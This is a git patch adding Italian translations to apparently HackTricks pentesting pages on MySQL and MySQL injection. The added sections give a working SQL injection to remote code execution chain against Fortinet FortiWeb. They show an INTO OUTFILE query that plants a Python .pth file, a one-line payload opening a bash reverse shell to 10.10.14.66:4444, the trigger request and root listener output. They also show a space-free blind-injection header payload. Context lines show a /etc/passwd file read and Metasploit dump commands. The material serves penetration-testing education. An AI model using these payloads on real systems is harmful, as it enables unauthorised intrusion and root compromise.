From 9e77bd9d167309f7aeeda6a8eb86a856e803ae04 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 14 Jul 2025 08:42:38 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-mysql.md', 'src/ --- .../pentesting-mysql.md | 53 +++++++++++++++++-- .../sql-injection/mysql-injection/README.md | 39 +++++++++++--- 2 files changed, 79 insertions(+), 13 deletions(-) diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index ef3401045..546ab120a 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -1,10 +1,15 @@ # 3306 - Pentesting Mysql +{{#include /banners/hacktricks-training.md}} + +## Riferimenti +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) + {{#include ../banners/hacktricks-training.md}} ## **Informazioni di base** -**MySQL** può essere descritto come un **Sistema di Gestione di Database Relazionali (RDBMS)** open source disponibile gratuitamente. Funziona sul **Linguaggio di Query Strutturato (SQL)**, consentendo la gestione e la manipolazione dei database. +**MySQL** può essere descritto come un **Sistema di Gestione di Database Relazionali (RDBMS)** open source disponibile senza costi. Funziona sul **Linguaggio di Query Strutturato (SQL)**, consentendo la gestione e la manipolazione dei database. **Porta predefinita:** 3306 ``` @@ -109,9 +114,46 @@ Puoi vedere nella documentazione il significato di ciascun privilegio: [https:// ../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md {{#endref}} +#### INTO OUTFILE → Python `.pth` RCE (ganci di configurazione specifici del sito) + +Abusando del classico `INTO OUTFILE` è possibile ottenere *l'esecuzione di codice arbitrario* su obiettivi che successivamente eseguono script **Python**. + +1. Usa `INTO OUTFILE` per creare un file personalizzato **`.pth`** all'interno di qualsiasi directory caricata automaticamente da `site.py` (ad es. `.../lib/python3.10/site-packages/`). +2. Il file `.pth` può contenere una *singola riga* che inizia con `import ` seguita da codice Python arbitrario che verrà eseguito ogni volta che l'interprete viene avviato. +3. Quando l'interprete viene eseguito implicitamente da uno script CGI (ad esempio `/cgi-bin/ml-draw.py` con shebang `#!/bin/python`), il payload viene eseguito con gli stessi privilegi del processo del server web (FortiWeb lo ha eseguito come **root** → RCE completa pre-autenticazione). + +Esempio di payload `.pth` (singola riga, non possono essere inclusi spazi nel payload SQL finale, quindi potrebbe essere necessario l'uso di hex/`UNHEX()` o concatenazione di stringhe): +```python +import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True) +``` +Esempio di creazione del file tramite una query **UNION** (i caratteri di spazio sono sostituiti con `/**/` per bypassare un filtro di spazio `sscanf("%128s")` e mantenere la lunghezza totale ≤128 byte): +```sql +'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth' +``` +Limitazioni importanti e bypass: + +* `INTO OUTFILE` **non può sovrascrivere** file esistenti; scegliere un nuovo nome file. +* Il percorso del file è risolto **rispetto alla CWD di MySQL**, quindi anteporre `../../` aiuta ad accorciare il percorso e bypassare le restrizioni sui percorsi assoluti. +* Se l'input dell'attaccante viene estratto con `%128s` (o simile) qualsiasi spazio troncherà il payload; utilizzare le sequenze di commento di MySQL `/**/` o `/*!*/` per sostituire gli spazi. +* L'utente MySQL che esegue la query ha bisogno del privilegio `FILE`, ma in molti dispositivi (ad es. FortiWeb) il servizio viene eseguito come **root**, dando accesso in scrittura quasi ovunque. + +Dopo aver eliminato il `.pth`, basta richiedere qualsiasi CGI gestito dall'interprete python per ottenere l'esecuzione del codice: +``` +GET /cgi-bin/ml-draw.py HTTP/1.1 +Host: +``` +Il processo Python importerà automaticamente il `.pth` malevolo ed eseguirà il payload della shell. +``` +# Attacker +$ nc -lvnp 4444 +id +uid=0(root) gid=0(root) groups=0(root) +``` +--- + ## MySQL lettura arbitraria di file da parte del client -In realtà, quando provi a **caricare dati locali in una tabella** il **contenuto di un file** il server MySQL o MariaDB chiede al **client di leggerlo** e inviare il contenuto. **Quindi, se riesci a manomettere un client mysql per connetterti al tuo server MySQL, puoi leggere file arbitrari.**\ +In realtà, quando provi a **caricare dati localmente in una tabella** il **contenuto di un file**, il server MySQL o MariaDB chiede al **client di leggerlo** e inviare il contenuto. **Quindi, se riesci a manomettere un client mysql per connetterti al tuo stesso server MySQL, puoi leggere file arbitrari.**\ Si prega di notare che questo è il comportamento utilizzando: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; @@ -171,9 +213,9 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys ``` ### Privilege Escalation via library -Se il **server mysql è in esecuzione come root** (o un altro utente con privilegi superiori), puoi farlo eseguire comandi. Per questo, devi utilizzare **funzioni definite dall'utente**. E per creare una funzione definita dall'utente avrai bisogno di una **libreria** per il sistema operativo che esegue mysql. +Se il **server mysql è in esecuzione come root** (o un altro utente con privilegi superiori) puoi farlo eseguire comandi. Per questo, devi utilizzare **funzioni definite dall'utente**. E per creare una funzione definita dall'utente avrai bisogno di una **libreria** per il sistema operativo su cui è in esecuzione mysql. -La libreria malevola da utilizzare può essere trovata all'interno di sqlmap e all'interno di metasploit eseguendo **`locate "*lib_mysqludf_sys*"`**. I file **`.so`** sono librerie **linux** e i **`.dll`** sono quelli per **Windows**, scegli quello di cui hai bisogno. +La libreria malevola da utilizzare può essere trovata all'interno di sqlmap e dentro metasploit eseguendo **`locate "*lib_mysqludf_sys*"`**. I file **`.so`** sono librerie **linux** e i **`.dll`** sono quelli per **Windows**, scegli quello di cui hai bisogno. Se **non hai** quelle librerie, puoi **cercarle**, oppure scaricare questo [**codice C per linux**](https://www.exploit-db.com/exploits/1518) e **compilarlo all'interno della macchina vulnerabile linux**: ```bash @@ -609,6 +651,7 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' ``` -​ +## Riferimenti +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/mysql-injection/README.md b/src/pentesting-web/sql-injection/mysql-injection/README.md index bd504ad74..375193600 100644 --- a/src/pentesting-web/sql-injection/mysql-injection/README.md +++ b/src/pentesting-web/sql-injection/mysql-injection/README.md @@ -101,7 +101,7 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+... ``` ## SSRF -**Scopri qui diverse opzioni per** [**abuse a Mysql injection per ottenere un SSRF**](mysql-ssrf.md)**.** +**Impara qui diverse opzioni per** [**abuse a Mysql injection per ottenere un SSRF**](mysql-ssrf.md)**.** ## WAF bypass tricks @@ -113,7 +113,7 @@ Quando le query impilate sono consentite, potrebbe essere possibile bypassare i ``` Per ulteriori informazioni, si prega di fare riferimento a [questo post del blog](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce). -### Alternative di Information_schema +### Alternative a information_schema Ricorda che nelle versioni "moderne" di **MySQL** puoi sostituire _**information_schema.tables**_ con _**mysql.innodb_table_stats**_ o con _**sys.x$schema_flattened_keys**_ o con **sys.schema_table_statistics** @@ -123,9 +123,9 @@ Seleziona 2 colonne senza utilizzare alcuna virgola ([https://security.stackexch ``` -1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1# ``` -### Recuperare valori senza il nome della colonna +### Recupero dei valori senza il nome della colonna -Se a un certo punto conosci il nome della tabella ma non conosci il nome delle colonne all'interno della tabella, puoi provare a scoprire quante colonne ci sono eseguendo qualcosa come: +Se a un certo punto conosci il nome della tabella ma non conosci il nome delle colonne all'interno della tabella, puoi provare a scoprire quanti sono le colonne eseguendo qualcosa come: ```bash # When a True is returned, you have found the number of columns select (select "", "") = (SELECT * from demo limit 1); # 2columns @@ -136,13 +136,35 @@ Supponendo che ci siano 2 colonne (la prima è l'ID) e l'altra è il flag, puoi # When True, you found the correct char and can start ruteforcing the next position select (select 1, 'flaf') = (SELECT * from demo limit 1); ``` -Maggiore informazione in [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952) +More info in [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952) + +### Injection senza SPAZI (`/**/` comment trick) + +Alcune applicazioni sanitizzano o analizzano l'input dell'utente con funzioni come `sscanf("%128s", buf)` che **si fermano al primo carattere di spazio**. +Poiché MySQL tratta la sequenza `/**/` sia come un commento *che* come uno spazio bianco, può essere utilizzata per rimuovere completamente gli spazi normali dal payload mantenendo la query sintatticamente valida. + +Esempio di bypass dell'iniezione cieca basata sul tempo che elude il filtro degli spazi: +```http +GET /api/fabric/device/status HTTP/1.1 +Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-' +``` +Quale il database riceve come: +```sql +' OR SLEEP(5)-- -' +``` +Questo è particolarmente utile quando: + +* Il buffer controllabile è limitato in dimensione (ad es. `%128s`) e gli spazi terminerebbero prematuramente l'input. +* Iniettando attraverso intestazioni HTTP o altri campi dove gli spazi normali vengono rimossi o utilizzati come separatori. +* Combinato con le primitive `INTO OUTFILE` per ottenere un RCE completo pre-autenticazione (vedi la sezione MySQL File RCE). + +--- ### Storia di MySQL Puoi vedere altre esecuzioni all'interno di MySQL leggendo la tabella: **sys.x$statement_analysis** -### Versioni alternative**s** +### Versione alternative**s** ``` mysql> select @@innodb_version; mysql> select @@version; @@ -150,11 +172,12 @@ mysql> select version(); ``` ## Altri guide all'iniezione MYSQL -- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) +- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) ## Riferimenti -- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) +- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) {{#include ../../../banners/hacktricks-training.md}}